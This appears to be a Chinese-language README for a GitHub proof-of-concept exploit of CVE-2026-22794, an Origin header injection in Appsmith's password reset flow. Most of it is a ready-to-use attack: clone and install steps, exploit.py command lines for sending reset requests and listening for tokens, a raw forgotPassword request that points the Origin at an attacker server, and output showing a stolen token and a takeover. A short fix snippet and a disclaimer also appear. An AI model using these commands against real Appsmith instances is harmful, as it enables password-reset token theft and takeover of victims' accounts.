| 字段 | 值 |
|---|
| CVE ID | CVE-2026-22794 |
| 受影响软件 | Appsmith(补丁之前的版本) |
| 漏洞类型 | Origin 头注入 |
| 影响 | 完全账户接管 |
| CVSS 评分 | 9.1(严重) |
| 攻击向量 | 网络 |
| 攻击复杂度 | 低 |
| 所需权限 | 无 |
| 用户交互 | 需要(受害者点击链接) |
Appsmith 在未经验证的情况下使用 HTTP Origin 头来构造密码重置和电子邮件验证 URL。易受攻击的代码直接将 Origin 头分配给密码重置基础 URL:
userPasswordDTO.setBaseUrl(originHeader);
这允许攻击者:
┌─────────────────────────────────────────────────────────────────┐
│ 攻击流程 │
└─────────────────────────────────────────────────────────────────┘
┌──────────┐ ┌──────────┐ ┌──────────┐
│ 攻击者 │ │ APPSMITH │ │ 受害者 │
└────┬─────┘ └────┬─────┘ └────┬─────┘
│ │ │
│ 1. POST /forgotPassword │ │
│ Origin: attacker.com │ │
│ email: [email protected] │ │
│──────────────────────────────>│ │
│ │ │
│ │ 2. 发送包含以下内容的电子邮件 │
│ │ attacker.com/reset?token │
│ │──────────────────────────────>│
│ │ │
│ 3. 受害者点击链接 │ │
│<──────────────────────────────────────────────────────────────│
│ │ │
│ 4. 令牌已被捕获! │ │
│ │ │
│ 5. POST /resetPassword │ │
│ token: STOLEN_TOKEN │ │
│ password: attacker123 │ │
│──────────────────────────────>│ │
│ │ │
│ 6. 账户接管成功! ✓ │ │
│ │ │
# 克隆仓库
git clone https://github.com/MalikHamza7/CVE-2026-22794-POC
cd CVE-2026-22794-POC
# 安装依赖
pip install -r requirements.txt
python exploit.py --target https://appsmith.target.com --check
python exploit.py --listen --port 8080
python exploit.py \
--target https://appsmith.target.com \
--email [email protected] \
--attacker-url https://your-server.com
python exploit.py \
--target https://appsmith.target.com \
--email [email protected] \
--attacker-url https://your-server.com \
--listen --port 8080
python exploit.py \
--target https://appsmith.target.com \
--reset-token CAPTURED_TOKEN \
--new-password "NewP@ssw0rd!"
POST /api/v1/users/forgotPassword HTTP/1.1
Host: appsmith.target.com
Origin: https://attacker-server.com
Content-Type: application/json
{
"email": "[email protected]"
}
密码重置链接:https://attacker-server.com/user/resetPassword?token=abc123xyz...
[+] 已捕获传入请求!
[*] 路径:/user/resetPassword?token=abc123xyz789...
[!!!] 密码重置令牌已被捕获!
[!!!] 令牌:abc123xyz789...
[+] 账户接管成功!
[+] 密码已重置为:NewP@ssw0rd!
使用 Appsmith 的组织应:
// ❌ 易受攻击的代码
userPasswordDTO.setBaseUrl(originHeader);
// ✅ 安全代码
String configuredBaseUrl = applicationConfiguration.getBaseUrl();
// 或根据白名单进行验证
if (!allowedOrigins.contains(originHeader)) {
throw new InvalidOriginException("Invalid origin header");
}
userPasswordDTO.setBaseUrl(configuredBaseUrl);
CVE-2026-22794/
├── README.md # 本文件
├── exploit.py # 主漏洞利用脚本
├── requirements.txt # Python 依赖
├── LICENSE # MIT 许可证
└── docs/
└── technical_analysis.md # 详细漏洞分析
本工具仅用于授权的安全测试和教育目的。
安全研究员
本项目根据 MIT 许可证授权 - 有关详细信息,请参阅 LICENSE 文件。
⭐ 如果您觉得这有用,请给仓库点个星标! ⭐